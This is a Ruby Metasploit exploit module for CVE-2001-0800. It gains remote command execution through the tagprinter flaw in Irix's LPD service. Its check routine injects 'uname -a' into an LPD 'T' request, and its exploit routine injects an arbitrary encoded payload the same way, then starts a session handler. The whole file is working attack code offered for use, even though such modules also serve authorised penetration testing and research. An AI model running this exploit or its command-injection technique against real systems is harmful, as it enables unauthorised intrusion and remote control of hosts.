##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Irix LPD tagprinter Command Execution',
        'Description' => %q{
          This module exploits an arbitrary command execution flaw in
          the in.lpd service shipped with all versions of Irix.
        },
        'Author' => [ 'optyx', 'hdm' ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2001-0800'],
          ['OSVDB', '8573']
        ],
        'Privileged' => false,
        'Platform' => %w[irix unix],
        'Arch' => ARCH_CMD,
        'Payload' => {
          'Space' => 512,
          'DisableNops' => true,
          'Compat' => {
            'PayloadType' => 'cmd',
            'RequiredCmd' => 'generic telnet'
          }
        },
        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'DisclosureDate' => '2001-09-01',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => [REPEATABLE_SESSION],
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      Opt::RPORT(515)
    ])
  end

  def check
    connect
    sock.put("T;uname -a;\n")
    resp = sock.get_once
    disconnect

    if resp =~ /IRIX/
      vprint_status("Response: #{resp.strip}")
      return CheckCode::Vulnerable('IRIX system detected via lpd tagprinter')
    end

    CheckCode::Safe('IRIX system not detected')
  end

  def exploit
    connect
    sock.put("T;#{payload.encoded};\n")
    handler
    print_status("Payload: #{payload.encoded}")
  end
end
